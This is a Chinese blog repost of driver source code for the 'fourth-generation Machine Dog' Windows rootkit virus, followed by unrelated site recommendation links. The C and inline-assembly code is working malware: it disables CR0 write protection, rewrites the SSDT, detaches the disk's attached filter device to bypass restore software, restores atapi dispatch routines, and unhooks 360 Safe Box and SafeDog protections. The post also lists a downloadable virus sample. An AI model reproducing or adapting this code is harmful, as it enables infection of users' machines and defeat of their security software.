第四代机器狗驱动代码

机械狗模板 【代码】机械狗模板。 阅读详情
  #include<ntddk.h>
#include<stdio.h>
ULONG * realssdt;
#define SEC_IMAGE    0x01000000
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase;
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} SDT, *PSDT;
extern PSDT KeServiceDescriptorTable;
#pragma pack()
extern POBJECT_TYPE* IoDriverObjectType;
#define DWORD unsigned long
PDEVICE_OBJECT dr0attach;
PDEVICE_OBJECT dr0dev;
ULONG devctrl,scsi,power,sysctrl,pnp;
ULONG retaddr;
NTSYSAPI
NTSTATUS
NTAPI
ZwAccessCheckAndAuditAlarm(
                                                   PUNICODE_STRING SubsystemName,
                                                   PVOID HandleId,
                                                   PUNICODE_STRING ObjectTypeName,
                                                   PUNICODE_STRING ObjectName,
                                                   PSECURITY_DESCRIPTOR SecurityDescriptor,
                                                   ACCESS_MASK DesiredAccess,
                                                   PGENERIC_MAPPING GenericMapping,
                                                   BOOLEAN ObjectCreation,
                                                   PACCESS_MASK GrantedAccess,
                                                   PBOOLEAN AccessStatus,
                                                   PBOOLEAN GenerateOnClose);

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
    IN ULONG SystemInformationClass,
    IN OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength);

NTSYSAPI
NTSTATUS
NTAPI
    ZwCreateSection(
    OUT PHANDLE  SectionHandle,
    IN ACCESS_MASK  DesiredAccess,
    IN POBJECT_ATTRIBUTES  ObjectAttributes OPTIONAL,
    IN PLARGE_INTEGER  MaximumSize OPTIONAL,
    IN ULONG  SectionPageProtection,
    IN ULONG  AllocationAttributes,
    IN HANDLE  FileHandle OPTIONAL
    );

NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE AccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID* Object );

NTSYSAPI
NTSTATUS
NTAPI
  ZwOpenDirectoryObject(
    OUT PHANDLE  DirectoryHandle,
    IN ACCESS_MASK  DesiredAccess,
    IN POBJECT_ATTRIBUTES  ObjectAttributes
    );

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;              
CHAR ImageName[255];  
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

ULONG GetModuleBase(char* name){

    ULONG                       n,i ;
    PSYSTEM_MODULE_INFORMATION  module;
    PVOID                       pbuftmp;
        char modulename[255];

    ZwQuerySystemInformation(11, &n, 0, &n);
    pbuftmp = ExAllocatePool(NonPagedPool, n);
    ZwQuerySystemInformation(11, pbuftmp, n, NULL);

module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 );
n      = *((PULONG)pbuftmp );
    for ( i = 0; i < n; i++ )
    {
                strcpy(modulename,module[i].ImageName + module[i].ModuleNameOffset);
                if(!_strnicmp(modulename,name,strlen(name))){
                         ExFreePool(pbuftmp);
                        return (ULONG)module[i].Base;
                }
    }

ExFreePool(pbuftmp);
return 0;
}

VOID PatchSSDT(){
        ULONG offset,i,imagebase,kernelbase;
        UNICODE_STRING ntoskrnl;
        OBJECT_ATTRIBUTES oa;
        IO_STATUS_BLOCK iosb;
        SIZE_T size=0;
        PVOID base=   NULL;
        HANDLE hFile,hSection;
realssdt=ExAllocatePool(0,KeServiceDescriptorTable->NumberOfServices*4);
RtlInitUnicodeString(&ntoskrnl,L"//SystemRoot//System32//ntoskrnl.exe");
InitializeObjectAttributes(&oa,&ntoskrnl, OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE  ,0,0);
ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE , &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
ZwMapViewOfSection(hSection, NtCurrentProcess  (), &base, 0, 1000, 0, &size,(  SECTION_INHERIT  )  1  ,   MEM_TOP_DOWN  ,  PAGE_READWRITE);
ZwClose(hFile);

kernelbase=GetModuleBase("ntoskrnl.exe");
imagebase=*(ULONG*)((ULONG)base+*(ULONG*)((ULONG)base+0x3C)+13*4);

offset=*(ULONG*)KeServiceDescriptorTable-GetModuleBase("ntoskrnl.exe");
RtlCopyMemory(realssdt,(PVOID )(offset+(ULONG)base),(KeServiceDescriptorTable->NumberOfServices*4));

for(i=0;i<KeServiceDescriptorTable->NumberOfServices;i++,realssdt++)
{
*realssdt=*realssdt-imagebase+kernelbase;//取得内存里正确的地址,然后修改回去
*(ULONG*)((ULONG)KeServiceDescriptorTable->ServiceTableBase+i*4)=*realssdt;
}

}

VOID FindDispatch(){//从atapi.sys文件读取原本的dispatch routine

        NTSTATUS status;
         HANDLE Handle;
        UNICODE_STRING atapi;
        OBJECT_ATTRIBUTES ObjectAttributes;
        IO_STATUS_BLOCK IoStatusBlock;
        FILE_STANDARD_INFORMATION NumberOfBytes;
        PVOID buf;
        ULONG PE,opthead,init,initpointer,Length,secnum,rawsize,rawpointer,limit,base;
        int i;
  
RtlInitUnicodeString(&atapi,L"//SystemRoot//System32//drivers//atapi.sys");
ObjectAttributes.ObjectName = &atapi;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes =576;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;

status = IoCreateFile(&Handle,GENERIC_READ,&ObjectAttributes,&IoStatusBlock,0,FILE_ATTRIBUTE_NORMAL,
     FILE_SHARE_READ,FILE_OPEN,0x50u,0,0,0,0,0);

  if(status<0){
  DbgPrint("Open File failed...%08x..",status);
  return ;
  }
  status = ZwQueryInformationFile(Handle, &IoStatusBlock, &NumberOfBytes, 24, FileStandardInformation);
  if(status<0){
  DbgPrint("ZwQueryInformationFile File failed...%08x..",status);
  return ;
  }
  buf= ExAllocatePool(0, NumberOfBytes.AllocationSize.LowPart);
  if(buf==NULL)
          {
  DbgPrint("ExAllocatePoolWithTag failed");
  return ;
  }
  ZwReadFile(Handle, 0, 0, 0, &IoStatusBlock, buf,NumberOfBytes.AllocationSize.LowPart, 0, 0);

  PE=(ULONG)buf;
  for(i=0;i<0x1000;i++){
  if(!_stricmp((const char*)PE,"pe"))
  break;
  PE++;
  }
  DbgPrint("PE Header 0x%x 0x%.2x 0x%.2x",PE, *(UCHAR*)(PE),*(UCHAR*)((ULONG)PE+1));
     opthead = *(unsigned short *)(PE + 20); //SizeofOptionalHeader
         DbgPrint("SizeofOptionalHeader - 0x%x",opthead );
    init = opthead + PE  + 24;
          initpointer=init;
      Length = 0;
        while (_stricmp((const char*)init,"init"))
        {
          initpointer += 40;
          secnum = *(DWORD *)(PE + 6);
          ++Length;
          if ( Length >= secnum )
            break;
          init = initpointer;
        }
        init = initpointer;

      if ( Length == *(DWORD *)(PE+ 6) )
        DbgPrint("No found INit seg/r/n");
      else
      {
        rawpointer = *(DWORD *)(init + 20);
        rawsize = *(DWORD *)(init + 16);
                DbgPrint("rawpointer 0x%x",rawpointer);
            DbgPrint("rawsize 0x%x",rawsize);
                limit=rawpointer+rawsize;
                if(rawpointer<rawpointer+rawsize){
                          while ( *((unsigned char *)buf + rawpointer) != 0xC7
               || *((unsigned char *)buf + rawpointer + 2) != 0x30
               || *((unsigned char *)buf + rawpointer + 7) != 0xC7
               || *((unsigned char *)buf + rawpointer + 9) != 0x34
               || *((unsigned char *)buf + rawpointer + 14) != 0xC7
               || *((unsigned char *)buf + rawpointer + 21) != 0xC7
               || *((unsigned char *)buf + rawpointer + 28) != 0xC7 )//寻找Major Function
          {
            ++rawpointer;
            if ( rawpointer >= limit)
                        {
                        ExFreePool(buf);
                        ZwClose(Handle);
                        return;
                        }
          }
scsi=*(DWORD *)((ULONG)buf + rawpointer + 17) -0x10000;//IRP_MJ_SCSI
devctrl=*(DWORD *)((ULONG)buf + rawpointer+ 24) -0x10000;//IRP_MJ_DEVICE_CONTROL
power=*(DWORD *)((ULONG)buf + rawpointer + 34) -0x10000;//IRP_MJ_POWER
pnp=*(DWORD *)((ULONG)buf + rawpointer + 44) -0x10000;//IRP_MJ_PNP
sysctrl=*(DWORD *)((ULONG)buf + rawpointer + 54) -0x10000;//IRP_MJ_SYSTEM_CONTROL
base=GetModuleBase("atapi.sys");
scsi+=base;
devctrl+=base;
power+=base;
pnp+=base;
sysctrl+=base;
DbgPrint("scsi-0x%x devctrl-0x%x power-0x%x sysctrl-0x%x pnp-0x%x",scsi,devctrl,power,sysctrl,pnp);

                }
          }
                  ExFreePool(buf);
                        ZwClose(Handle);
}

_declspec(naked) ULONG
  MyDbgPrint(
    ){
        _asm{
        push eax
                mov eax,[esp+4]
                cmp     dword ptr [eax], 3E86859h
                jnz end
                cmp    dword ptr [eax+4], 0EE80000h
                jnz end
                mov     eax, [ebp+4]
                cmp     eax, 80000000h
                jb end
                cmp     byte ptr [eax], 83h
                jnz end
                cmp     byte ptr [eax+1], 4Dh
                jnz end
                cmp     byte ptr [eax+2], 0FCh
                jnz end
                 cmp     byte ptr [eax+3], 0FFh
                 jnz end
                 cmp     byte ptr [eax+4], 6Ah
                 push    dword ptr [ebp-4]
                 call    ZwClose
                  pop     eax
                  jmp     dword ptr [ebp+4]

end:
pop     eax
push    ebp
mov     ebp, esp
jmp [retaddr]
        }

}

_declspec(naked)int recover(){
        _asm{
        sub esp,ecx
    shr ecx,2
    mov  edi,esp
    cmp  esi, 7FFF0000h
        }
}

VOID
  Reinitialize(
    IN PDRIVER_OBJECT  DriverObject,
    IN PVOID  Context,
    IN ULONG  Count
    ){

  OBJECT_ATTRIBUTES ObjectAttributes;
  PDEVICE_OBJECT devobj;
  UNICODE_STRING aDeviceHarddisk,aDriverProtecte;
  UNICODE_STRING aDriverAtapi,aDriverDisk,safedog;
  HANDLE DirectoryHandle;
  PVOID Object;
  PDRIVER_OBJECT atapiobj,protectdrv,diskdrv,dogdrv;
  ULONG mjcreate,systemservice,foundaddr,pointer,iopointer,dbgpoint;
  int v10,i;
  unsigned int count;
  RtlInitUnicodeString(&aDeviceHarddisk,L"//Device//Harddisk0");
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.ObjectName =&aDeviceHarddisk;
  ObjectAttributes.Attributes = 64;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;

    if ( !ZwOpenDirectoryObject(&DirectoryHandle, DIRECTORY_QUERY, &ObjectAttributes) )
  {
    if ( !ObReferenceObjectByHandle(DirectoryHandle, 1, 0, 0, &Object, 0) )
    {
      if ( Object )
      {
        count = 0;
        while (count < 0x28 )//抹掉DR0的AttachDevice(这边穿还原)
        {
          v10 = *((DWORD *)Object + count);
          if ( v10 )
          {
            devobj = *(PDEVICE_OBJECT*)(v10 + 4);
            if ( devobj->Type == 3 ) {
              if ( devobj->AttachedDevice )
              {
                dr0attach = devobj->AttachedDevice;
                dr0dev = devobj;
                devobj->AttachedDevice = 0;
                break;
              }
            }
          }
          ++count;
        }

      }
      ObDereferenceObject( Object);
    }
    ZwClose(DirectoryHandle);
  }
    __asm
   {
      mov eax, CR0
      and eax, 0FFFEFFFFh
      mov CR0, eax
   }

        RtlInitUnicodeString(&aDriverAtapi,L"//Driver//atapi");
        ObReferenceObjectByName(&aDriverAtapi,64,0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0,&atapiobj);
        FindDispatch();

        atapiobj->MajorFunction[IRP_MJ_SCSI]=(PDRIVER_DISPATCH)scsi;
                atapiobj->MajorFunction[IRP_MJ_DEVICE_CONTROL]=(PDRIVER_DISPATCH)devctrl;
                        atapiobj->MajorFunction[IRP_MJ_POWER]=(PDRIVER_DISPATCH)power;
                                atapiobj->MajorFunction[IRP_MJ_PNP ]=(PDRIVER_DISPATCH)pnp;
                                        atapiobj->MajorFunction[IRP_MJ_SYSTEM_CONTROL ]=(PDRIVER_DISPATCH)sysctrl;
                                               
                                RtlInitUnicodeString(&aDriverProtecte,L"//Driver//ProtectedC");
                                RtlInitUnicodeString(&aDriverDisk,L"//Driver//Disk");
  if ( !ObReferenceObjectByName(&aDriverProtecte, 64, 0,OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &protectdrv) )
  {
    if ( protectdrv )
    {
      if ( !ObReferenceObjectByName(&aDriverDisk, 64, 0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &diskdrv) )
      {
        if ( diskdrv )
        {
          if ( diskdrv->MajorFunction[IRP_MJ_CREATE] == diskdrv->MajorFunction[IRP_MJ_CLOSE ]  )
          {
            mjcreate = (ULONG)diskdrv->MajorFunction[IRP_MJ_CREATE];
            i=0;
        while(i<=IRP_MJ_MAXIMUM_FUNCTION)
        diskdrv->MajorFunction[i++]=(PDRIVER_DISPATCH)mjcreate;
          }
        }
      }
    }
  }

PatchSSDT();
systemservice=(ULONG)ZwAccessCheckAndAuditAlarm+13+*(ULONG*)((ULONG)ZwAccessCheckAndAuditAlarm+13)+4;
DbgPrint("KiSystemService - %x",systemservice);
count=0;
foundaddr=0;
while(count<0x300)
{


        if(*(unsigned char*)(systemservice+count)==0x8B&&
                *(unsigned char*)(systemservice+count+1)==0x1C&&
                *(unsigned char*)(systemservice+count+2)==0x87)
        {
foundaddr=systemservice+count+3;
        break;
        }
        count++;
}
//还原360保险箱对KiSystemService的钩子
/*
804d5e77 8b1c87          mov     ebx,dword ptr [edi+eax*4]
804d5e7a 2be1            sub     esp,ecx
804d5e7c c1e902          shr     ecx,2
804d5e7f 8bfc            mov     edi,esp
804d5e81 3b35b4745480    cmp     esi,dword ptr [nt!MmUserProbeAddress (805474b4)]
*/

if(foundaddr){

        *(ULONG*)((ULONG)recover+9)=*(ULONG*)MmUserProbeAddress;
        pointer=(ULONG)recover;
        for(i=0;i<13;i++,foundaddr++,pointer++)
                *(unsigned char*)foundaddr=*(unsigned char*)pointer;
}

RtlInitUnicodeString(&safedog,L"//Driver//SafeDog");
  if ( !ObReferenceObjectByName(&safedog, 64, 0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &dogdrv))
  {
if(dogdrv)
{

iopointer=(ULONG)IoGetDeviceObjectPointer;
*(unsigned char*)(iopointer)=0x8b;
*(unsigned char*)(iopointer+1)=0xff;
*(unsigned char*)(iopointer+2)=0x55;
*(unsigned char*)(iopointer+3)=0x8b;
*(unsigned char*)(iopointer+4)=0xec;

}
  }
  dbgpoint=(ULONG)DbgPrint;//inline DbgPrint()
  retaddr=dbgpoint+5;
  *(unsigned char*)dbgpoint=0xE9;
  *(ULONG*)((ULONG)dbgpoint+1)=(ULONG)MyDbgPrint-(ULONG)dbgpoint-5;

  __asm
   {
      mov eax, CR0
      or eax, NOT 0FFFEFFFFh
      mov CR0, eax
   }
}

NTSTATUS
  Dispatch(
    IN PDEVICE_OBJECT  DeviceObject,
    IN PIRP  Irp
    ){

  IofCompleteRequest(Irp, 0);
  return 0;
}

VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
        UNICODE_STRING SymbolicLinkName;
        RtlInitUnicodeString(&SymbolicLinkName,L"//DosDevices//32ef43d02471c26e");
   IoDeleteSymbolicLink(&SymbolicLinkName);
  IoDeleteDevice(DriverObject->DeviceObject);

}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
              IN PUNICODE_STRING RegistryPath)
{
       
  PDEVICE_OBJECT DeviceObject;
  UNICODE_STRING DeviceName;
  UNICODE_STRING SymbolicLinkName;
RtlInitUnicodeString(&DeviceName,L"//Device//32ef43d02471c26e");//随机生成的路径
RtlInitUnicodeString(&SymbolicLinkName,L"//DosDevices//32ef43d02471c26e");
  if ( !IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_NULL  , 0, TRUE, &DeviceObject) )
  {
    if ( IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName) )
    {
      IoDeleteDevice(DeviceObject);
    }
    else
    {
      DriverObject->MajorFunction[IRP_MJ_CREATE ] = Dispatch;
      DriverObject->MajorFunction[IRP_MJ_CLOSE ] = Dispatch;
      DriverObject->DriverUnload = DriverUnload;
      IoRegisterDriverReinitialization(DriverObject, Reinitialize,0);
    }
  }


   return 0;
}
[ 本帖最后由 eros412 于 2008-6-27 18:07 编辑 ]
附件
atapi.JPG (273.83 KB)

2008-6-27 13:46

atapi dispatch routine还原地址

atapi.JPG

dbgprint.JPG (164.16 KB)

2008-6-27 13:46

mydbgprint inline勾

32ef43d02471c26e.rar (2.88 KB)

2008-6-27 13:46, 下载次数: 350

病毒样本

sss.rar (3.07 KB)

2008-6-27 13:46, 下载次数: 337

重新编译的驱动文件

机器人四代演化:从工业铁臂到生活协作者的技术跃迁 机器人并非单一技术产物,而是感知、决策与执行能力协同演化的系统性工程。其发展本质是控制范式从确定性指令向环境自适应、再向社会关系构建的持续升级。第一代以机械刚性和物理冗余实现高可靠执行;第二代通过力觉反馈与人机共融安全架构突破隔离边界;第三代依托多模态感知融合与生成式决策,在开放场景中完成认知闭环;第四代则聚焦情感计算、社会规范嵌入与可解释交互,真正迈向具身智能体。本文结合产线实测数据、故障日志与用户反馈,解析四代演进背后的真实技术断点与落地逻辑,尤其关注协作安全、语义建图、柔性执行等高频实践关键词。 阅读详情

相关推荐

机器狗源代码

一种可以穿透各种还原软件与硬件还原卡的病毒。此病毒通过pcihdd.sys驱动文件抢占还原软件的硬盘控制权。并修改用户初始化文件 userinit.exe来实现隐藏自身的目的。

逆向工程实验Lab6

赞赏码 & 联系方式 & 个人闲话 逆向工程前言 1、Yet another crackme (or rather keygenme).by patching, turn on/off all 5 features.generate a serial number with arbitrary features turned on/off. 2、CTF:x6412.exe 3、某文件被加密了,最后修改时间是2019/04/11 22:10:34。猜测大概2019/04/11 22点11

一半西瓜的博客 1922

QT快速配置MSVC2017编译环境(3分钟极简指南)

本文提供了一份3分钟极简指南,帮助开发者快速配置QT的MSVC2017编译环境。通过断网安装、精准勾选组件和配置QT Creator编译器路径等步骤,大幅提升QT开发效率。MSVC2017作为Windows平台高性能C++编译器,特别适合处理大型QT项目,编译速度优势明显。

weixin_30399821的博客 505

百度API&NodeMcu语音控制机器狗制作经验分享(超详细)

比赛获奖项目经验分享:使用WiFi和语音控制的机器狗代码部分超详细介绍

weixin_64943832的博客 4422

PD虚拟机安装CentOS7后必做的Parallels Tools配置指南(附常见错误解决)

本文详细指导在Mac的Parallels Desktop虚拟机中安装CentOS 7后如何高效配置Parallels Tools,包括环境准备、镜像挂载、依赖问题解决及性能优化。特别针对常见错误如挂载失败、依赖缺失等提供实用解决方案,帮助用户实现主机与虚拟机间的无缝交互和显示优化。

weixin_29288313的博客 302

RK3568部署YOLOv8的7种方法对比:量化vs非量化的性能实测与优化建议

本文针对RK3568平台,深度对比了YOLOv8模型的七种部署方法,重点分析了量化与非量化策略的性能差异。通过实测数据,详细评估了不同方法在推理速度、CPU占用、内存消耗及模型精度上的表现,并提供了从模型结构调整到系统级优化的具体建议,为边缘AI部署选型提供实用参考。

weixin_29099217的博客 531

MIT Mini Cheetah四足机器狗开源代码仿真环境搭建以及问题报错汇总

主要分为四大部分:完成Qt、Lcm与Eigen库的安装及Cheetah代码的编译四部分,以及遇到的问题和解决方法,大部分参考开头两篇引用文章。

BIT_TF的博客 5955

DEM高程数据的获取、合并与坐标转换

DEM高程数据的获取、合并与坐标转换一、DEM数据的获取二、数据合并三、投影转换方法一四、投影转换方法二 今天用DEM数据做了一个坡度分析,数据使用过程中涉及到投影坐标转换,由于不是很熟悉所以费了一番功夫。经过一番折腾总结出两个方法,方法一自认为比较便捷的方法,即通过BIGMAP软件中工具列表中的投影转换功能进行。方法二为传统方法,即在Arcgis中用投影栅格工具进行转换。 一、DEM数据的获取 在地理空间数据云网站下载DEM数据(精度包括30米和90米),数据格式为tif格式或img格式,坐标为WGS_1

weixin_48625651的博客 1万+

Zw 系列函数

转:http://blog.sina.com.cn/s/blog_4a1acc7f0100cfud.html      896  37F 0000D379 ZwAcceptConnectPort         897  380 0000D38E ZwAccessCheck         898  381 0000D3A3 ZwAccessCheckAndAuditAlarm         ...

huanongying131的博客 4066

OpenWebUI外部模型配置异常排查与修复指南

本文详细解析了OpenWebUI外部模型配置异常的常见问题及解决方案,包括隐藏字符、数据库锁死等典型现象。通过错误日志分析和数据库修复实战指南,帮助开发者快速定位并解决配置问题,确保OpenWebUI与第三方大模型的稳定连接。

weixin_29205061的博客 314

航空机载总线网络概述

1.机载总线网络概述 现代战斗机的航空电子系统是航空电子技术经历了半个多世纪的漫长演变和不断进步的结果。航空电子系统结构的每次变化,其核心的机载总线网络技术也不断跨上新台阶,而且每次变革都能使飞机性能得到大幅提升。现代飞机的飞行与作战任务包括起飞、巡航、飞行控制、目标搜索、识别跟踪、火控计算、武器投射、制导、电子战、通信等,都需要航空电子系统承担,航空电子系统是现代战斗机的“大脑”和“神经中枢”,机载总线网络则是其关键的“神经网络”。在机载通讯领域发展过程中,具有代表性的典型总线有ARINC429、1553

qq_41854911的博客 1万+

机器狗四代驱动代码

Lahti的专栏 917

基于Simulink的光伏电站AGC/AVC协调控制仿真

摘要:本文基于Simulink构建光伏电站AGC/AVC协调控制仿真模型,通过分层控制架构实现有功-无功解耦与储能协同。系统包含100kW光伏阵列、50kWh储能及逆变器组件,采用PID控制器实现AGC频率调节(±0.1Hz)和Q-V下垂控制实现AVC电压稳定(±2%)。仿真验证了三种工况下协调控制的有效性:正常调度时储能充电20kW;负荷突增时储能15kW放电维持频率;光照骤降时储能30kW放电并吸收2kVAR无功稳定电压。结果表明,该方案可使频率/电压偏差分别控制在0.1Hz和7.6V内,响应时间&lt

xiaoheshang_123的博客 236

ios 圆形取景框 相机_苏联旁轴相机之冠——列宁格勒发条机

图并文=王稼丰01. 列宁格勒发条机的原型机1990 年苏联解体后,大批前苏联相机流入我国市场。这些相机与日本产品相比,功能简单,价格便宜,但自动化程度低、做工粗糙,故障率高。极大地损害了前苏联相机的形象。到 2000 年以后就逐渐退出了国内市场。其实,前苏联是有优秀相机的。本文就给大家介绍一款前苏联最好的旁轴相机——列宁格勒发条相机的发展历史。第一代列宁格勒旁轴机1948 年,GOI 的小幅度的...

weixin_35398679的博客 710

利用恒源云在云端租用GPU服务器训练YOLOv8模型(包括Linux系统命令讲解)

为当涉及到深度学习的训练任务时,GPU的计算能力是不可或缺的。相对于传统的中央处理器(CPU),图形处理器(GPU)具有更强大的并行计算能力,能够显著加速深度学习模型的训练过程。深度学习算法通常涉及大量的矩阵运算和张量操作,而GPU的并行计算架构使得它们能够高效地执行这些计算,从而加速模型训练的速度。恒源云是一个经济高效的云计算平台,您可以通过恒源云的控制台或者命令行界面来管理实例、上传和下载数据、执行训练任务等。

Snu77的博客 6726

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

ReAct Loop驱动的多Agent协同系统设计与崩溃复盘

多智能体系统(Multi-Agent System)是当前大模型工程落地的关键范式,其核心挑战在于协作稳定性而非单体能力。基于ReAct Loop的动态决策机制,配合RuntimeRunner实现的沙箱化资源仲裁与IO代理,可构建具备角色约束、心跳感知和语义拦截能力的可控协同架构。这种设计显著降低死锁率与权限越界风险,在Code Agent等代码自动化场景中展现出强工程适配性——尤其适用于跨仓库重构、多角色联调等需状态同步与资源隔离的真实任务。本文以AgentTeams系统从上线到下线的全生命周期为样本,揭

weixin_34220179的博客 355

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

下一代机器学习的应走之路

机器学习在发展的过程中,经历了许多次转折和变化。从最初的符号主义专家系统,利用结构化的知识辅助机器预测,到统计学习方法的出现。2006年以后,更是由于以深度神经网络为代表的联结主义的兴起...

BAAIBeijing的博客 2860

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

硅基生命时代的崛起:人形机器人的发展与未来

随着人工智能和先进机械技术的发展,人形机器人不再仅仅是科幻电影中的角色。如今,随着大模型技术的快速推进,人形机器人逐渐从实验室走向商业化应用。近期公开演示的语数G1机器人以其出色的体态控制能力引发了广泛关注,这标志着硅基生命时代的加速到来。本文将深入探讨人形机器人的发展历程、当前的技术突破以及未来的应用前景。

weixin_41496173的博客 1894

[转贴]关于有盘无盘的结论,我自己亲自测试的

 [转贴]关于有盘无盘的结论,我自己亲自测试的 0 松下幸之助有句话说的好,别人都在做的赚钱生意,你就不要再做了。目前,关于有盘无盘哪个更好的争论一直很激烈,很多人都在说无盘胜有盘,真的是这样吗?任何事情都要有前提的。下面本人作为有8年网络工作经验,其中近2年无盘维护经验的技术员,提出我自己测试后的观点。事先声明,第一,有盘无盘哪个稳定

北京上空的鹰 1711

医疗机器人等高智能医疗设备成未来发展重点领域

医疗机器人作为智能医疗领域中起步最早的医疗器械,到2021年,医疗机器人领域的价值预计至少会增长到22亿元。从外科手术到康复护理,机器人似乎都已经准备大干一番,改造中国医疗护理产业的方方面面。机器人将重塑二级护理和三级护理,甚至是初级治疗、家庭和社区护理(健康一体机)。在一些高端医院,外科机器人已经开始帮助进行外科手术,这使得手术更加精确,创伤更小。随着...

weixin_33757609的博客 326

Qwen3-VL-30B实现航空航天器高精度识别

借助Qwen3-VL-30B多模态大模型,通过高分辨率视觉编码与稀疏激活机制,实现对航空航天器的细粒度、可解释分类。支持零样本推理与图文联合分析,在低质量图像和新型号识别中表现突出,推动智能判读迈向实时化与认知化。

weixin_42361478的博客 659

转灾

第一,有盘无盘哪个稳定?这里我要说,技术过硬,肯定是有盘稳定。包括机器狗一类的穿透病毒。早在第一代机器狗出现的时候,我们就已经判断出机器狗变种的发展趋向。提前做出了底层防御驱动,即使是目前的第四代机器狗病毒,通过底层虚拟磁盘的手段,也对有盘无法形成威胁。所以,机器狗的问题已经不在成为有盘用户的困饶。目前小哨兵推出的机器狗防御也能很好的解决问题。 有人会说,无盘不会中毒,要求技术维护的水平不高!可以

xvmingliuhao的专栏 391

彭军辉:智能机器人的五层进阶之路

本文提出智能机器人应遵循五层进化理论实现从简单到复杂的层级发展:1-4代为情感陪伴型AI宠物,第5代为人形劳动机器人。作者批判当前行业三大误区:过度追求人形外观而忽视AI大脑开发、简单化理解机器人本质、迷信数据驱动智能。指出真正的智能进化应是能力与人格的双重进阶,强调自由意志和独立人格才是机器人的核心灵魂。建议行业回归智能分层进化本质,在升级硬件的同时注重意识培育,才能实现从工具到智能生命体的质变。全文构建了完整的机器人进化理论体系,为行业发展提供了新的认知框架。

抽象主义人工智能和生命体AI 277

基于2026年“十五五”规划开局及建军百年奋斗目标(2027年)的冲刺背景,结合最新的行业研报与政策导向,未来5年中国军工最值得布局的细分领域已从传统的“全面铺摊子”转向“新质战斗力”与“军贸出海”双

基于2026年“十五五”规划开局及建军百年奋斗目标(2027年)的冲刺背景,结合最新的行业研报与政策导向,未来5年中国军工最值得布局的细分领域已从传统的“全面铺摊子”转向“新质战斗力”与“军贸出海”双轮驱动。 以下是四大最具成长确定性与爆发力的细分领域深度分析: 一、无人智能作战体系(新质战斗力的核心引擎) 推荐指数:⭐⭐⭐⭐⭐ 核心逻辑:现代战争(俄乌、中东)已验证无人机是“消耗品”而非单纯的高精尖装备。未来5年,我军将从“有人为主”向“无人/有人协同”甚至“全无人化”转型。 细分赛道: 高端察打一体无人

金牌架构师 244
上一篇: 机器狗源代码
下一篇: 在VC中编译、运行程序的小知识点
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值